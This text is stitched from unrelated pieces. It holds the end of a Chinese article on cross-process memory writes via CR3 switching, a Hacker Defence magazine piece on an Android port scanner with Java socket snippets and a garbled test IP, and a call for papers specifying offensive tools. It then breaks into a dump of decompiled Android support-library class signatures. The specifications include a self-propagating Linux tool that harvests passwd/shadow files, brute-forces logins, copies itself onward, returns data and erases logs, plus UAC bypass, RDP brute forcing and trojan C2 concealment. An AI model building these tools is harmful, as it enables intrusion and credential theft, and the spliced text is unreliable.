该内容填充到 CR3，进而更改 CR3，完成地址空间的切换，此时代码停留在公用部分，但是

其用户空间已经转化为进程 2 的，因此此时的内核代码对用户空间地址的操作就是对进程 2

的用户地址空间的操作。当然，一个进程对另外一个进程的操作是一件很有风险的工作，毕

竟是人家的地盘，容易产生矛盾，制造不安定因素，所以 Windows 在进程调用跨进程操作，

会对发起者的身份权限进行严格的审查，这里就不赘述了。 

对于问题 2，数据的传递要将待写入数据（lpBuffer 地址中的数据）写入进程 2 的用户

空间，显然在两个进程之间直接拷贝，如将数据从 0x40000000（进程 1）0x40000000（进

程 2），是不可能实现的，实际使用的方法只有一个途径，就是使用进程间的公共部分——

内核空间，其思路是将进程 1 中的待拷贝数据映射或拷贝进入进程 2 的内核空间，当切换

CR3 后，再将这部分数据拷贝进进程 2 的用户空间地址中。那好，思路有了，我们结合图 3

将 WriteProcessMemory 的实现过程简要概括如下： 

 

图 3 数据传递示例 

1） 利用 MDL 技术，将用户进程空间的数据映射到内核空间，这样的结果是该数据在用

户空间和内核空间各有一个地址，减少了一次将用户空间数据拷贝入内核空间的操

作。 

2） 切换 CR3，进入进程 2 的地址空间； 

3） 将待拷贝的数据拷入进程 2 的用户空间的目的地址，完成本次操作后，切换回 CR3，

恢复进程 1的地址空间。 

注意，这些动作都是在 WriteProcessMemory 函数的内核空间部分中实现的，正因为是

在内核空间，才能够有权利对用户和内核空间的数据进行拷贝映射。如果简略的描述

Windows 中跨进程操作的实质，就是将实际执行的代码和需要传递的数据都从进程 1过渡到

进程 1的 0—2G空间 

进程 1，2的 2～4G 公用空间 

进程 2的 0～2G空间 

进 程 1 的

CR3 

进程2的CR3 

进程1的CR3 
映射 

拷贝 

待拷贝的数据 
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进程的公用空间——内核空间中，再切换 CR3，完成地址空间的切换，从而实现数据的跨进

程操作。 

 

（完） 
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Android远程监控技术 

 

Android 系统端口扫描器编写初探 

                      文/图 马智超（DesertEagle） 

 最近，很想在安卓手机上玩一下端口扫描器。再者，之前没有写过能运行于 Android 系

统的端口扫描器，于是想写一个出来。 

 

扫描器原理及安卓平台上实现方式简析 

 我们知道端口有两种，UDP 和 TCP。入侵者如果想要探测目标机开放了哪些端口、提供

了哪些服务，就需要先与目标端口建立连接。如果目标主机端口有回复，则说明该端口开放，

即为活动端口，所以如果我们想实现能运行于安卓系统的端口扫描器，可以从以下两个思路

入手。 

1）基于 UDP 扫描实现 

 UDP 扫描可通过发送没有携带任何数据的 UDP 数据包到目标主机，如果某服务响应一

个 UDP 报文，则表明该端口是开放的。我们可以利用这个类：DatagramPacket 实现，这

个类代表通过 DatagramSocket 发送或接收的数据报包。它包含很多信息，比如源主机和目

标主机的信息等。用法如下： 

 DatagramPacket (byte[] data, int offset, int length, InetAddress host, int aPort)。 

 构造一个新的 DatagramPacket 对象，将数据发送到参数 host 指定主机上的 aPort 端

口。然后再构造 DatagramChannel 对象，DatagramChannel 是一个能收发 UDP 包的通道，

因为 UDP 是无连接的网络协议，所以不能像其它通道那样读取和写入。有了这个通道就可

以发送和接收数据了。核心代码如下： 

 

DatagramChannel channel = DatagramChannel.open(); 

连接的套接字通道到远程地址: 

localDatagramChannel.connect(new InetSocketAddress(ip, port)); 

localDatagramChannel.configureBlocking(true); 

设置超时时间，通过这个通道发送一个数据： 

localDatagramSocket.setSoTimeout(5000); 

localDatagramSocket.send(); 

DatagramPacket l= new DatagramPacket(arrayOfByte, arrayOfByte.length);                       

localDatagramSocket.receive(l); 

…… 

 

2）基于 TCP 扫描的实现 

    操作系统提供的 connect()系统调用，可用来与每一个目标计算机的端口进行连接。如

果端口处于侦听状态，那么 connect()就能成功。否则，这个端口是不能用的，即没有开放。
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Android远程监控技术 

 

核心代码如下： 

try{   

       Socket socket = new Socket();  

    SocketAddress socketAddress = new InetSocketAddress(IP, PORT);   

                     socket.connect(socketAddress,timeout);   

                     handler.sendEmptyMessage(i);   

                     socket.close();   

                 }catch(Exception e){   

                     Log.e("a", e.getMessage());   

                 }   

 其中 IP 为要扫描的 IP，PORT 为要扫描的端口，timeout 为等待建立连接的超时时间。

这里用到了 handler 来实现不同线程之间的消息传递，这里传递的是端口信息。后文测试的

端口扫描器就是用这种方法实现的。 

 

安卓平台端口扫描器测试 

 为了方便测试，首先搭建了局域网的测试环境，让我的笔记本电脑和手机处在同一无线

局域网内，然后查看笔记本的 IP 地址，如图 1 所示。 

 

                                 图 1 

    在得知笔记本 IP 地址（192.168.137,.21）后，就可以用端口扫描器来扫描这个 IP 地址

进行测试了，但首先我们先看看本机开放了哪些端口，如图 2 所示。 

 

图 2 
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Android远程监控技术 

 

 我已经把端口扫描器安装在我的 Android 系统的手机上了，打开端口扫描器，如图 3 所

示。 

 

图 3 

    由图 3 可以看到，扫描器的界面中有 IP 地址输入框和扫描端口的范围输入框。输入 IP

地址为 132.168.137.21。为了测试，端口范围可以填入 100 到 150，点击扫描按钮即可，测

试结果如图 4 所示。 

 

图 4 
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Android远程监控技术 

 

 由图我们可以看到，在端口 100 到 150 范围内，被测笔记本电脑中有 135 和 139 这两个

端口开放，和图 2 信息正好匹配。 

 通过测试，该端口扫描器可以实现对给定的 IP 地址、指定范围的端口进行扫描。 

 

（完） 
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2014 年第 4 期杂志特约选题征稿 
  

黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全领域的各个方面。对这些选题有兴趣的读者与作者，可联系投稿信箱：675122680@qq.com、

hadefence@gmail.com，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿件者，

稿酬按照最高标准发放！特别优秀的稿酬另议。第 4 期的部分选题如下，完整的选题内容请

见每月发送的约稿邮件。 

 

1.绕过 Windows UAC 的权限限制 

 自本期始，黑客防线杂志长期征集有关绕过 Windows UAC 权限限制的文章（已知方法

除外）。 

 1）Windows UAC 高权限下，绕过 UAC 提示进入系统的方法； 

 2）Windows UAC 低权限下，进入系统后提高账户权限的方法。 

 

2.Windows7 屏幕保护密码获取 

 非重启系统状态下，本机（非远程受控机）屏幕保护已启动，本地获取 Windows7 屏幕

保护密码的方法。 

 

3.虚拟机穿透 

 主机安装有虚拟机，现已远程控制虚拟机，寻求如何利用虚拟机的弱点，穿透虚拟机，

进而控制本机的方法。 

 

4.Linux 自动检测网络安全 

要求： 

 1）自动收集当前 Linux系统的信息，如 uname、hosts、passwd、shadow、ifconfig、

ps、netstat、history 等； 

 2）通过我们提供的帐号密码库自动测试远程登录，若登录成功则将远程主机的地址、

端口、帐号、密码以及从哪一台机器登录的等详细记录； 

 3）将该程序自动复制到第 2 步成功登录的远程 Linux 主机，并重复 1、2、3 步操作； 

 4）可以手动制定结束条件，比如测试主机的个数，目的是防止重复登录； 

 5）将 1、2、3 中收集或记录的信息回传到一开始的主机； 

 6）完成操作后清除相关的操作记录。 

 

5.暴力破解 3389 远程桌面密码 

要求： 

 1）针对 Windows 3389 远程桌面实现暴力破解密码； 

 2）读取指定的用户名和密码字典文件； 

 3）采用多线程； 

 4）所有函数都必须判断错误值； 

 5）使用 VC++2008 编译工具实现，控制台程序； 

 6）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 7）支持 Windows XP/2003/7/2008。 
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6.WEB 服务器批量扫描破解 

 1）针对目标 IP 参数要求 

  10.10.0.0/16 

  10.10.3.0/24 

  10.10.1.0-10.255.255.255 

 2）针对目标 Web 服务器扫描要求 

  可以识别目标 Web 服务器上运行的 Web 服务器程序，比如 APACHE 或者 IIS 等，具

体参考如下： 

  Tomcat Weblogic Jboss 

  Apache J0nAS WebSphere 

  Lotus Server IIS(Webdav) Axis2 

  Coldfusion Monkey HTTPD Nginx 

 3）针对目标 Web 服务器后台扫描 

  针对目标进行后台地址搜索。 

 4）针对目标 Web 后台密码破解 

  搜索到 Web 登录后台以后，尝试弱口令破解，可以指定字典。 

 

7.木马控制端 IP 地址隐藏 

要求： 

 1）在远程控制配置 server 时，一般情况下控制地址是写入被控端的，当木马样本被捕

获分析时，可以分析出控制地址。针对这个问题，研究控制端地址隐藏技术，即使木马样本

被捕获，也无法轻易发现木马的控制端真实地址。 

 2）使用 C 或 C++语言，VC6 或者 VC2008 编译工具实现。 

 

8.Web 后台弱口令暴力破解 

说明： 

 针对国际常用建站系统以及自编写的 WEB 后台无验证码登陆形式的后台弱口令帐密暴

力破解。 

要求： 

 1）能够自动或自定义抓取建站系统后台登陆验证脚本 URL，如 Word Press、Joomla、

Drupal、MetInfo 等常用建站系统； 

 2）根据抓取提交帐密的 URL，可自动或自定义选择提交方式，自动或自定义提交登陆

的参数，这里的自动指的是根据默认字典； 

 3）可自定义设置暴力破解速度，破解的时候需要显示进度条； 

 4）高级功能：默认字典跑不出来的后台，可根据设置相应的 GOOGLE、BING 等搜索引

擎关键字，智能抓取并分析是否是后台以及自动抓取登陆 URL 及其参数；默认字典跑不出

来的帐密可通过 GOOGLE、BING 等搜索引擎抓取目标相关的用户账户、邮箱账户，并以这些

账户简单构造爆破帐密，如用户为 admin，密码可自动填充为域名，用户为 abcd@abcd.com，

账户密码就可以设置为 abcd abcd 以及 abcd abcd123 或 abcd abcd123456 等简单帐密； 

 5）拓展：尽可能的多搜集国外常用建站系统后台来增强该软件查找并定位后台 URL 能

力；暴力破解要稳定，后台 URL 字典以及帐密字典可自定义设置等。 

 

9.编写端口扫描器 

要求： 
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 1）扫描出目标机器开放的端口，支持 TCP Connect、SYN、UDP 扫描方式； 

 2）扫描方式采用多线程，并能设置线程数； 

 3）将功能编写成 dll，导出功能函数； 

 4）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 5）尽量多做出错异常处理，以防程序意外崩溃； 

 6）使用 VC++2008 编译工具编写； 

 7）支持系统 Windows XP/2003/2008/7。 

 

10.Android WIFI Tether 数据转储劫持 

说明： 

 WIFI Tether（开源项目）可以在 ROOT 过的 Android 设备上共享移动网络（也就是我们

常说的 Wi-Fi 热点），请参照 WIFI Tether 实现一个程序，对流经本机的所有网络数据进行分

析存储。 

 

要求： 

 1）开启 WIFI 热点后，对流经本机的所有网络数据进行存储； 

 2）不同的网络协议存储为不同的文件，比如 HTTP 协议存储为 HTTP.DAT； 

 3）针对 HTTP 下载进行劫持，比如用户下载 www.xx.com/abc.zip，软件能拦截此地址并

替换 abc.zip 文件。 

 

11.突破 Windows7 UAC 

说明： 

 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 

HACKER DEFENCE◆55◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 

 

2014 年征稿启示 

 

   《黑客防线》作为一本技术月刊，已经 14 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 

投稿栏目： 

首发漏洞  

    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com。 

Android 技术研究 

    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android

源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 

本月焦点  

    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  

漏洞攻防  

    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  

脚本攻防  

    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  

工具与免杀 

    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  

渗透与提权  

    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  

溢出研究  

    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  

外文精粹  

    选取国外优秀的网络安全技术文章，进行翻译、讨论。  

 

网络安全顾问  

HACKER DEFENCE◆56◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 

 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  

搜索引擎优化  

    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  

密界寻踪  

    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  

编程解析  

    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 

投稿格式要求：  

    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  

    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  

    3）投稿方式和和周期：  

 采用 E-Mail 方式投稿，投稿 mail：hadefence@gmail.com、QQ：675122680。投稿后，

稿件录用情况将于 1～3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  

 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  

    4）稿费发放周期：  

 稿费当月发放（最迟不超过 2 月），稿费从优。欢迎更多的专业技术人员加入到这个行

列。 

    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 

 一等稿件 900 元/篇 

 二等稿件 600 元/篇 

 三等稿件 300 元/篇 

    6）稿费发放办法：  

 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 

    7）投稿信箱及编辑联系 

 投稿信箱：675122680@qq.com、hadefence@gmail.com 

 编辑 QQ：675122680 
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android/support/v4/app/ActivityCompatHoneycomb.class


package android.support.v4.app;
synchronized class ActivityCompatHoneycomb {
    void ActivityCompatHoneycomb();
    static void invalidateOptionsMenu(android.app.Activity);
    static void dump(android.app.Activity, String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/BackStackRecord$Op.class


package android.support.v4.app;
final synchronized class BackStackRecord$Op {
    BackStackRecord$Op next;
    BackStackRecord$Op prev;
    int cmd;
    Fragment fragment;
    int enterAnim;
    int exitAnim;
    int popEnterAnim;
    int popExitAnim;
    java.util.ArrayList removed;
    void BackStackRecord$Op();
}










android/support/v4/app/FragmentManagerImpl$2.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$2 implements Runnable {
    void FragmentManagerImpl$2(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/ActivityCompatJB.class


package android.support.v4.app;
synchronized class ActivityCompatJB {
    void ActivityCompatJB();
    public static void startActivity(android.content.Context, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
}










android/support/v4/app/FragmentContainer.class


package android.support.v4.app;
abstract interface FragmentContainer {
    public abstract android.view.View findViewById(int);
}










android/support/v4/app/FragmentTabHost$TabInfo.class


package android.support.v4.app;
final synchronized class FragmentTabHost$TabInfo {
    private final String tag;
    private final Class clss;
    private final android.os.Bundle args;
    private Fragment fragment;
    void FragmentTabHost$TabInfo(String, Class, android.os.Bundle);
}










android/support/v4/app/NotificationCompat$Style.class


package android.support.v4.app;
public abstract synchronized class NotificationCompat$Style {
    NotificationCompat$Builder mBuilder;
    CharSequence mBigContentTitle;
    CharSequence mSummaryText;
    boolean mSummaryTextSet;
    public void NotificationCompat$Style();
    public void setBuilder(NotificationCompat$Builder);
    public android.app.Notification build();
}










android/support/v4/app/LoaderManagerImpl$LoaderInfo.class


package android.support.v4.app;
final synchronized class LoaderManagerImpl$LoaderInfo implements android.support.v4.content.Loader$OnLoadCompleteListener {
    final int mId;
    final android.os.Bundle mArgs;
    LoaderManager$LoaderCallbacks mCallbacks;
    android.support.v4.content.Loader mLoader;
    boolean mHaveData;
    boolean mDeliveredData;
    Object mData;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mReportNextStart;
    boolean mDestroyed;
    boolean mListenerRegistered;
    LoaderManagerImpl$LoaderInfo mPendingLoader;
    public void LoaderManagerImpl$LoaderInfo(LoaderManagerImpl, int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void start();
    void retain();
    void finishRetain();
    void reportStart();
    void stop();
    void destroy();
    public void onLoadComplete(android.support.v4.content.Loader, Object);
    void callOnLoadFinished(android.support.v4.content.Loader, Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/NotificationCompatIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompatIceCreamSandwich {
    void NotificationCompatIceCreamSandwich();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean);
}










android/support/v4/app/NotificationCompat.class


package android.support.v4.app;
public synchronized class NotificationCompat {
    public static final int FLAG_HIGH_PRIORITY = 128;
    public static final int PRIORITY_DEFAULT = 0;
    public static final int PRIORITY_LOW = -1;
    public static final int PRIORITY_MIN = -2;
    public static final int PRIORITY_HIGH = 1;
    public static final int PRIORITY_MAX = 2;
    private static final NotificationCompat$NotificationCompatImpl IMPL;
    public void NotificationCompat();
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplIceCreamSandwich implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplIceCreamSandwich();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ActionBarDrawerToggle$SlideDrawable.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$SlideDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable$Callback {
    private android.graphics.drawable.Drawable mWrapped;
    private float mOffset;
    private float mOffsetBy;
    private final android.graphics.Rect mTmpRect;
    public void ActionBarDrawerToggle$SlideDrawable(android.graphics.drawable.Drawable);
    public void setOffset(float);
    public float getOffset();
    public void setOffsetBy(float);
    public void draw(android.graphics.Canvas);
    public void setChangingConfigurations(int);
    public int getChangingConfigurations();
    public void setDither(boolean);
    public void setFilterBitmap(boolean);
    public void setAlpha(int);
    public void setColorFilter(android.graphics.ColorFilter);
    public void setColorFilter(int, android.graphics.PorterDuff$Mode);
    public void clearColorFilter();
    public boolean isStateful();
    public boolean setState(int[]);
    public int[] getState();
    public android.graphics.drawable.Drawable getCurrent();
    public boolean setVisible(boolean, boolean);
    public int getOpacity();
    public android.graphics.Region getTransparentRegion();
    protected boolean onStateChange(int[]);
    protected void onBoundsChange(android.graphics.Rect);
    public int getIntrinsicWidth();
    public int getIntrinsicHeight();
    public int getMinimumWidth();
    public int getMinimumHeight();
    public boolean getPadding(android.graphics.Rect);
    public android.graphics.drawable.Drawable$ConstantState getConstantState();
    public void invalidateDrawable(android.graphics.drawable.Drawable);
    public void scheduleDrawable(android.graphics.drawable.Drawable, Runnable, long);
    public void unscheduleDrawable(android.graphics.drawable.Drawable, Runnable);
}










android/support/v4/app/NotificationCompatHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompatHoneycomb {
    void NotificationCompatHoneycomb();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap);
}










android/support/v4/app/ShareCompatJB.class


package android.support.v4.app;
synchronized class ShareCompatJB {
    void ShareCompatJB();
    public static String escapeHtml(CharSequence);
}










android/support/v4/app/NavUtils$NavUtilsImplJB.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplJB extends NavUtils$NavUtilsImplBase {
    void NavUtils$NavUtilsImplJB();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    android.content.Intent superGetParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/Fragment.class


package android.support.v4.app;
public synchronized class Fragment implements android.content.ComponentCallbacks, android.view.View$OnCreateContextMenuListener {
    private static final java.util.HashMap sClassMap;
    static final int INITIALIZING = 0;
    static final int CREATED = 1;
    static final int ACTIVITY_CREATED = 2;
    static final int STOPPED = 3;
    static final int STARTED = 4;
    static final int RESUMED = 5;
    int mState;
    android.view.View mAnimatingAway;
    int mStateAfterAnimating;
    android.os.Bundle mSavedFragmentState;
    android.util.SparseArray mSavedViewState;
    int mIndex;
    String mWho;
    android.os.Bundle mArguments;
    Fragment mTarget;
    int mTargetIndex;
    int mTargetRequestCode;
    boolean mAdded;
    boolean mRemoving;
    boolean mResumed;
    boolean mFromLayout;
    boolean mInLayout;
    boolean mRestored;
    int mBackStackNesting;
    FragmentManagerImpl mFragmentManager;
    FragmentActivity mActivity;
    FragmentManagerImpl mChildFragmentManager;
    Fragment mParentFragment;
    int mFragmentId;
    int mContainerId;
    String mTag;
    boolean mHidden;
    boolean mDetached;
    boolean mRetainInstance;
    boolean mRetaining;
    boolean mHasMenu;
    boolean mMenuVisible;
    boolean mCalled;
    int mNextAnim;
    android.view.ViewGroup mContainer;
    android.view.View mView;
    android.view.View mInnerView;
    boolean mDeferStart;
    boolean mUserVisibleHint;
    LoaderManagerImpl mLoaderManager;
    boolean mLoadersStarted;
    boolean mCheckedForLoaderManager;
    public void Fragment();
    public static Fragment instantiate(android.content.Context, String);
    public static Fragment instantiate(android.content.Context, String, android.os.Bundle);
    final void restoreViewState(android.os.Bundle);
    final void setIndex(int, Fragment);
    final boolean isInBackStack();
    public final boolean equals(Object);
    public final int hashCode();
    public String toString();
    public final int getId();
    public final String getTag();
    public void setArguments(android.os.Bundle);
    public final android.os.Bundle getArguments();
    public void setInitialSavedState(Fragment$SavedState);
    public void setTargetFragment(Fragment, int);
    public final Fragment getTargetFragment();
    public final int getTargetRequestCode();
    public final FragmentActivity getActivity();
    public final android.content.res.Resources getResources();
    public final CharSequence getText(int);
    public final String getString(int);
    public final transient String getString(int, Object[]);
    public final FragmentManager getFragmentManager();
    public final FragmentManager getChildFragmentManager();
    public final Fragment getParentFragment();
    public final boolean isAdded();
    public final boolean isDetached();
    public final boolean isRemoving();
    public final boolean isInLayout();
    public final boolean isResumed();
    public final boolean isVisible();
    public final boolean isHidden();
    public void onHiddenChanged(boolean);
    public void setRetainInstance(boolean);
    public final boolean getRetainInstance();
    public void setHasOptionsMenu(boolean);
    public void setMenuVisibility(boolean);
    public void setUserVisibleHint(boolean);
    public boolean getUserVisibleHint();
    public LoaderManager getLoaderManager();
    public void startActivity(android.content.Intent);
    public void startActivityForResult(android.content.Intent, int);
    public void onActivityResult(int, int, android.content.Intent);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public void onInflate(android.app.Activity, android.util.AttributeSet, android.os.Bundle);
    public void onAttach(android.app.Activity);
    public android.view.animation.Animation onCreateAnimation(int, boolean, int);
    public void onCreate(android.os.Bundle);
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public android.view.View getView();
    public void onActivityCreated(android.os.Bundle);
    public void onViewStateRestored(android.os.Bundle);
    public void onStart();
    public void onResume();
    public void onSaveInstanceState(android.os.Bundle);
    public void onConfigurationChanged(android.content.res.Configuration);
    public void onPause();
    public void onStop();
    public void onLowMemory();
    public void onDestroyView();
    public void onDestroy();
    void initState();
    public void onDetach();
    public void onCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public void onPrepareOptionsMenu(android.view.Menu);
    public void onDestroyOptionsMenu();
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onOptionsMenuClosed(android.view.Menu);
    public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu$ContextMenuInfo);
    public void registerForContextMenu(android.view.View);
    public void unregisterForContextMenu(android.view.View);
    public boolean onContextItemSelected(android.view.MenuItem);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    Fragment findFragmentByWho(String);
    void instantiateChildFragmentManager();
    void performCreate(android.os.Bundle);
    android.view.View performCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    void performActivityCreated(android.os.Bundle);
    void performStart();
    void performResume();
    void performConfigurationChanged(android.content.res.Configuration);
    void performLowMemory();
    boolean performCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    boolean performPrepareOptionsMenu(android.view.Menu);
    boolean performOptionsItemSelected(android.view.MenuItem);
    boolean performContextItemSelected(android.view.MenuItem);
    void performOptionsMenuClosed(android.view.Menu);
    void performSaveInstanceState(android.os.Bundle);
    void performPause();
    void performStop();
    void performReallyStop();
    void performDestroyView();
    void performDestroy();
    static void <clinit>();
}










android/support/v4/app/TaskStackBuilderJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilderJellybean {
    void TaskStackBuilderJellybean();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int, android.os.Bundle);
}










android/support/v4/app/ShareCompat.class


package android.support.v4.app;
public synchronized class ShareCompat {
    public static final String EXTRA_CALLING_PACKAGE = android.support.v4.app.EXTRA_CALLING_PACKAGE;
    public static final String EXTRA_CALLING_ACTIVITY = android.support.v4.app.EXTRA_CALLING_ACTIVITY;
    private static ShareCompat$ShareCompatImpl IMPL;
    public void ShareCompat();
    public static String getCallingPackage(android.app.Activity);
    public static android.content.ComponentName getCallingActivity(android.app.Activity);
    public static void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public static void configureMenuItem(android.view.Menu, int, ShareCompat$IntentBuilder);
    static void <clinit>();
}










android/support/v4/app/FragmentState$1.class


package android.support.v4.app;
final synchronized class FragmentState$1 implements android.os.Parcelable$Creator {
    void FragmentState$1();
    public FragmentState createFromParcel(android.os.Parcel);
    public FragmentState[] newArray(int);
}










android/support/v4/app/Fragment$SavedState$1.class


package android.support.v4.app;
final synchronized class Fragment$SavedState$1 implements android.os.Parcelable$Creator {
    void Fragment$SavedState$1();
    public Fragment$SavedState createFromParcel(android.os.Parcel);
    public Fragment$SavedState[] newArray(int);
}










android/support/v4/app/FragmentManager$OnBackStackChangedListener.class


package android.support.v4.app;
public abstract interface FragmentManager$OnBackStackChangedListener {
    public abstract void onBackStackChanged();
}










android/support/v4/app/NotificationCompat$BigTextStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigTextStyle extends NotificationCompat$Style {
    CharSequence mBigText;
    public void NotificationCompat$BigTextStyle();
    public void NotificationCompat$BigTextStyle(NotificationCompat$Builder);
    public NotificationCompat$BigTextStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigTextStyle setSummaryText(CharSequence);
    public NotificationCompat$BigTextStyle bigText(CharSequence);
}










android/support/v4/app/ActivityOptionsCompatJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompatJB {
    private final android.app.ActivityOptions mActivityOptions;
    public static ActivityOptionsCompatJB makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompatJB makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompatJB makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    private void ActivityOptionsCompatJB(android.app.ActivityOptions);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompatJB);
}










android/support/v4/app/FragmentTabHost$DummyTabFactory.class


package android.support.v4.app;
synchronized class FragmentTabHost$DummyTabFactory implements android.widget.TabHost$TabContentFactory {
    private final android.content.Context mContext;
    public void FragmentTabHost$DummyTabFactory(android.content.Context);
    public android.view.View createTabContent(String);
}










android/support/v4/app/FragmentManagerState$1.class


package android.support.v4.app;
final synchronized class FragmentManagerState$1 implements android.os.Parcelable$Creator {
    void FragmentManagerState$1();
    public FragmentManagerState createFromParcel(android.os.Parcel);
    public FragmentManagerState[] newArray(int);
}










android/support/v4/app/NotificationCompat$InboxStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$InboxStyle extends NotificationCompat$Style {
    java.util.ArrayList mTexts;
    public void NotificationCompat$InboxStyle();
    public void NotificationCompat$InboxStyle(NotificationCompat$Builder);
